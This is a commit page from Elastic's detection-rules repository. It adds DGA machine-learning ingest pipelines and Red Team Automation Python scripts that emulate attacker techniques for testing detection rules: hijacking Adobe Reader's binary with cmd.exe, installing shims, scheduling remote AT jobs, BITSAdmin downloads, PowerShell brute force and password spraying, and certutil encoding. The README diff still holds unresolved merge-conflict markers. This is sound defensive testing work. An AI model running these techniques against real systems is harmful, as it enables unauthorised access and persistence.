Skip to content

Commit

Permalink
Adding RTA instructions and Kibana rules mapped to the RTA scripts (#876
Browse files Browse the repository at this point in the history
)

* Adding RTA instructions and Kibana rules mapped to the RTA scripts
  • Loading branch information
hungnguyen-elastic committed Feb 3, 2021
1 parent 37ccdad commit aaf6a0f
Show file tree
Hide file tree
Showing 570 changed files with 80,601 additions and 0 deletions.
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
{"script": {"lang": "painless", "source": "\nString nGramAtPosition(String text, int fieldcount, int n){\n if (fieldcount+n>text.length()){\n return null;\n }\n else \n {\n return text.substring(fieldcount, fieldcount+n);\n } \n}\n\nString[] secondLevelDomain(Map dynamic_domains, String domain, String subdomain, String registered_domain, String top_level_domain){\n\n if (registered_domain == null || registered_domain == '.') {\n return new String[] {'', ''};\n }\n\n if (dynamic_domains.containsKey(registered_domain) == true) {\n if (subdomain != null) {\n return new String[] {subdomain, registered_domain};\n }\n } \n\n return new String[] {registered_domain.substring(0, registered_domain.length()-top_level_domain.length()-1), top_level_domain};\n}\n\nString domain = ctx['dns']['question']['name'];\nString subdomain = ctx['dns']['question']['subdomain'];\nString registered_domain = ctx['dns']['question']['registered_domain'];\nString top_level_domain = ctx['dns']['question']['top_level_domain'];\n\nString[] ret = secondLevelDomain(params.dynamic_domains, domain, subdomain, registered_domain, top_level_domain);\n\nString sld = ret[0];\nString tld = ret[1];\n\nctx['f'] = new HashMap();\nctx['f']['tld'] = tld;\n\nfor (int i=0;i<sld.length();i++){\n String field = nGramAtPosition(sld, i, 1);\n if (field == null) {\n break;\n }\n ctx['f']['u'+ Integer.toString(i)] = field;\n}\nfor (int i=0;i<sld.length();i++){\n String field = nGramAtPosition(sld, i, 2);\n if (field == null) {\n break;\n }\n ctx['f']['b'+ Integer.toString(i)] = field;\n}\nfor (int i=0;i<sld.length();i++){\n String field = nGramAtPosition(sld, i, 3);\n if (field == null) {\n break;\n }\n ctx['f']['t'+ Integer.toString(i)] = field;\n}\n"}}
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
{"script": {"lang": "painless", "source": "\n def top_classes = ctx['ml_is_dga']['top_classes'];\n def malicious_probability = 0.0;\n def malicious_prediction = ctx['ml_is_dga']['malicious_prediction'];\n for (def class: top_classes) {\n if (class['class_name'] == 1) {\n malicious_probability = class['class_probability'];\n }\n }\n ctx.remove('ml_is_dga');\n ctx.remove('f');\n ctx['ml_is_dga'] = new HashMap();\n ctx['ml_is_dga']['malicious_prediction'] = malicious_prediction;\n ctx['ml_is_dga']['malicious_probability'] = malicious_probability;\n "}}
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
{"description": "A pipeline of pipelines for enriching DNS data. Ignores non-DNS data.", "processors": [{"pipeline": {"if": "ctx.type=='dns'", "name": "dns_dga_inference_enrich_pipeline"}}], "version": 1}
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
{"processors": [{"script": {"id": "dga_ngrams_create", "params": {"dynamic_domains": {"avsvmcloud.com": 0, "co.cc": 0, "cz.cc": 0, "ddns.net": 0, "dyndns.org": 0, "dynserv.com": 0, "github.io": 0, "mooo.com": 0, "mynumber.org": 0, "yi.org": 0}}}}, {"inference": {"field_map": {}, "inference_config": {"classification": {"num_top_classes": 1}}, "model_id": "dga_875109_1.0", "target_field": "ml_is_dga"}}, {"script": {"id": "dga_ngrams_transform_delete"}}]}
1 change: 1 addition & 0 deletions ML-models/DGA/ML-DGA-20201216-1/dga_875109_1.0_model.json

Large diffs are not rendered by default.

2 changes: 2 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -12,8 +12,10 @@ This repository was first announced on Elastic's blog post, [Elastic Security op
## Table of Contents
- [Overview of this repository](#overview-of-this-repository)
- [Getting started](#getting-started)
- [Red Team Automation](rta)
- [How to contribute](#how-to-contribute)
- [Licensing](#licensing)
- [Questions? Problems? Suggestions?](#questions-problems-suggestions)


## Overview of this repository
Expand Down
29 changes: 29 additions & 0 deletions rta/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
## Red Team Automation

[![Supported Python versions](https://img.shields.io/badge/python-3.7+-yellow.svg)](https://www.python.org/downloads/)
[![Chat](https://img.shields.io/badge/chat-%23security--detection--rules-blueviolet)](https://ela.st/slack)

The repo comes with some red team automation ([RTA](./)) python scripts that run on Windows, Mac OS, and \*nix.
RTA scripts emulate known attacker behaviors and are an easy way too verify that your rules are active and working as expected.

```console
$ python -m rta -h
usage: rta [-h] ttp_name

positional arguments:
ttp_name

optional arguments:
-h, --help show this help message and exit
```
<<<<<<< HEAD
ttp_name can be found in the [rta](./rta) directory. For example to execute `./rta/wevtutil_log_clear.py` script, run command:
=======
`ttp_name` is the name of a script that can be found in the [rta](./rta) directory. For example, to execute ./rta/wevtutil_log_clear.py script, run command:
>>>>>>> 607d8cf06a298ec4edf8c0e326b3c1a9ace509ea
```console
$ python -m rta wevtutil_log_clear
```

Most of the RTA scripts contain a comment with the rule name, in `signal.rule.name`, that maps to the Kibana Detection Signals.
43 changes: 43 additions & 0 deletions rta/__init__.py.bak
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.

import glob
import importlib
import os

from . import common

CURRENT_DIR = os.path.dirname(os.path.abspath(__file__))


def get_ttp_list(os_types=None):
scripts = []
if os_types and not isinstance(os_types, (list, tuple)):
os_types = [os_types]

for script in sorted(glob.glob(os.path.join(CURRENT_DIR, "*.py"))):
base_name, _ = os.path.splitext(os.path.basename(script))
if base_name not in ("common", "main") and not base_name.startswith("_"):
if os_types:
# Import it and skip it if it's not supported
importlib.import_module(__name__ + "." + base_name)
if not any(base_name in common.OS_MAPPING[os_type] for os_type in os_types):
continue

scripts.append(script)

return scripts


def get_ttp_names(os_types=None):
names = []
for script in get_ttp_list(os_types):
basename, ext = os.path.splitext(os.path.basename(script))
names.append(basename)
return names


__all__ = (
"common"
)
21 changes: 21 additions & 0 deletions rta/__main__.py.bak
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.

import argparse
import importlib
import os

from . import get_ttp_names

parser = argparse.ArgumentParser("rta")
parser.add_argument("ttp_name")

parsed_args, remaining = parser.parse_known_args()
ttp_name, _ = os.path.splitext(os.path.basename(parsed_args.ttp_name))

if ttp_name not in get_ttp_names():
raise ValueError("Unknown RTA {}".format(ttp_name))

module = importlib.import_module("rta." + ttp_name)
exit(module.main(*remaining))
46 changes: 46 additions & 0 deletions rta/adobe_hijack.py.bak
Original file line number Diff line number Diff line change
@@ -0,0 +1,46 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.

# Name: Adobe Hijack Persistence
# RTA: adobe_hijack.py
# ATT&CK: T1044
# Description: Replaces PE file that will run on Adobe Reader start.

import os

from . import common


@common.requires_os(common.WINDOWS)
def main():
rdr_cef_dir = "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF"
rdrcef_exe = os.path.join(rdr_cef_dir, "RdrCEF.exe")
cmd_path = "C:\\Windows\\System32\\cmd.exe"
backup = os.path.abspath("xxxxxx")
backedup = False

# backup original if it exists
if os.path.isfile(rdrcef_exe):
common.log("{} already exists, backing up file.".format(rdrcef_exe))
common.copy_file(rdrcef_exe, backup)
backedup = True
else:
common.log("{} doesn't exist. Creating path.".format(rdrcef_exe))
os.makedirs(rdr_cef_dir)

# overwrite original
common.copy_file(cmd_path, rdrcef_exe)

# cleanup
if backedup:
common.log("Putting back backup copy.")
common.copy_file(backup, rdrcef_exe)
os.remove(backup)
else:
common.remove_file(rdrcef_exe)
os.removedirs(rdr_cef_dir)


if __name__ == "__main__":
exit(main())
30 changes: 30 additions & 0 deletions rta/appcompat_shim.py.bak
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.

# Name: Application Compatibility Shims
# RTA: appcompat_shim.py
# ATT&CK: T1138
# Description: Use sdbinst.exe to install a binary patch/application shim.

import time

from . import common

SHIM_FILE = common.get_path("bin", "CVE-2013-3893.sdb")


@common.requires_os(common.WINDOWS)
@common.dependencies(SHIM_FILE)
def main():
common.log("Application Compatibility Shims")

common.execute(["sdbinst.exe", "-q", "-p", SHIM_FILE])
time.sleep(2)

common.log("Removing installed shim", log_type="-")
common.execute(["sdbinst.exe", "-u", SHIM_FILE])


if __name__ == "__main__":
exit(main())
57 changes: 57 additions & 0 deletions rta/at_command.py.bak
Original file line number Diff line number Diff line change
@@ -0,0 +1,57 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.

# Name: AT Command Lateral Movement
# RTA: at_command.py
# ATT&CK: T1053
# Description: Enumerates at tasks on target host, and schedules an at job for one hour in the future. Then checks the
# status of that task, and deletes the task.

import datetime
import re
import sys

from . import common


@common.requires_os(common.WINDOWS)
def main(target_host=None):
target_host = target_host or common.get_ip()
host_str = '\\\\%s' % target_host

# Current time at \\localhost is 11/16/2017 11:25:50 AM
code, output = common.execute(['net', 'time', host_str])
match = re.search(r'Current time at .*? is (\d+)/(\d+)/(\d+) (\d+):(\d+):(\d+) (AM|PM)', output)
groups = match.groups()
m, d, y, hh, mm, ss, period = groups
now = datetime.datetime(month=int(m), day=int(d), year=int(y), hour=int(hh), minute=int(mm), second=int(ss))
if period == 'PM' and hh != '12':
now += datetime.timedelta(hours=12)

# Add one hour
task_time = now + datetime.timedelta(hours=1)

# Round down minutes
time_string = '%d:%d' % (task_time.hour, task_time.minute)

# Enumerate all remote tasks
common.execute(['at.exe', host_str])

# Create a job 1 hour into the future
code, output = common.execute(['at', host_str, time_string, 'cmd /c echo hello world'])

if code == 1 and 'deprecated' in output:
common.log("Unable to continue RTA. Not supported in this version of Windows")
return common.UNSUPPORTED_RTA

if code == 0:
job_id = re.search('ID = (\d+)', output).group(1)

# Check status and delete
common.execute(['at.exe', host_str, job_id])
common.execute(['at.exe', host_str, job_id, '/delete'])


if __name__ == "__main__":
exit(main(*sys.argv[1:]))
36 changes: 36 additions & 0 deletions rta/bitsadmin_download.py.bak
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.

# Name: Suspicious BitsAdmin Download File
# RTA: bitsadmin_download.py
# ATT&CK: T1197
# Description: Runs BitsAdmin to download file via command line.


import os
import subprocess

from . import common


@common.requires_os(common.WINDOWS)
def main():
common.log("Running Windows BitsAdmin to Download")
server, ip, port = common.serve_web()
url = "http://" + ip + ":" + str(port) + "/bin/myapp.exe"
dest_path = os.path.abspath("myapp-test.exe")
fake_word = os.path.abspath("winword.exe")

common.log("Emulating parent process: {parent}".format(parent=fake_word))
common.copy_file("C:\\Windows\\System32\\cmd.exe", fake_word)

command = subprocess.list2cmdline(['bitsadmin.exe', '/Transfer', '/Download', url, dest_path])
common.execute([fake_word, "/c", command], timeout=15, kill=True)
common.execute(['taskkill', '/f', '/im', 'bitsadmin.exe'])

common.remove_files(dest_path, fake_word)


if __name__ == "__main__":
exit(main())
54 changes: 54 additions & 0 deletions rta/brute_force_login.py.bak
Original file line number Diff line number Diff line change
@@ -0,0 +1,54 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.

# Name: Brute Force Login Attempts
# RTA: brute_force_login.py
# ATT&CK: T1110
# Description: Simulates brute force or password spraying tactics.
# Remote audit failures must be enabled to trigger: `auditpol /set /subcategory:"Logon" /failure:enable`

import random
import string
import sys
import time

from . import common


@common.requires_os(common.WINDOWS)
def main(username="rta-tester", remote_host=None):
if not remote_host:
common.log('A remote host is required to detonate this RTA', '!')
return common.MISSING_REMOTE_HOST

common.enable_logon_auditing(remote_host)

common.log('Brute forcing login with invalid password against {}'.format(remote_host))
ps_command = '''
$PW = ConvertTo-SecureString "such-secure-passW0RD!" -AsPlainText -Force
$CREDS = New-Object System.Management.Automation.PsCredential {username}, $PW
Invoke-WmiMethod -ComputerName {host} -Class Win32_process -Name create -ArgumentList ipconfig -Credential $CREDS
'''
command = ['powershell', '-c', ps_command.format(username=username, host=remote_host)]

# fail 4 times - the first 3 concurrently and wait for the final to complete
for i in range(4):
common.execute(command, wait=i == 3)

time.sleep(1)

common.log('Password spraying against {}'.format(remote_host))

# fail 5 times - the first 4 concurrently and wait for the final to complete
for i in range(5):
random_user = ''.join(random.sample(string.ascii_letters, 10))
command = ['powershell', '-c', ps_command.format(username=random_user, host=remote_host)]
common.execute(command, wait=i == 4)

# allow time for audit event to process
time.sleep(2)


if __name__ == "__main__":
exit(main(*sys.argv[1:]))
1 change: 1 addition & 0 deletions rta/certutil_file_obfuscation.py
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,7 @@
# Name: Certutil Encode / Decode
# RTA: certutil_file_obfuscation.py
# ATT&CK: T1140
# signal.rule.name: Encoding or Decoding Files via CertUtil
# Description: Uses certutil to create an encoded copy of cmd.exe. Then uses certutil to decode that copy.

import os
Expand Down
32 changes: 32 additions & 0 deletions rta/certutil_file_obfuscation.py.bak
Original file line number Diff line number Diff line change
@@ -0,0 +1,32 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.

# Name: Certutil Encode / Decode
# RTA: certutil_file_obfuscation.py
# ATT&CK: T1140
# Elastic Detection: Encoding or Decoding Files via CertUtil
# Description: Uses certutil to create an encoded copy of cmd.exe. Then uses certutil to decode that copy.

import os

from . import common


@common.requires_os(common.WINDOWS)
def main():
common.log("Encoding target")
encoded_file = os.path.abspath('encoded.txt')
decoded_file = os.path.abspath('decoded.exe')
common.execute(["c:\\Windows\\System32\\certutil.exe", "-encode", "c:\\windows\\system32\\cmd.exe", encoded_file])

common.log("Decoding target")
common.execute(["c:\\Windows\\System32\\certutil.exe", "-decode", encoded_file, decoded_file])

common.log("Cleaning up")
common.remove_file(encoded_file)
common.remove_file(decoded_file)


if __name__ == "__main__":
exit(main())
Loading

0 comments on commit aaf6a0f

Please sign in to comment.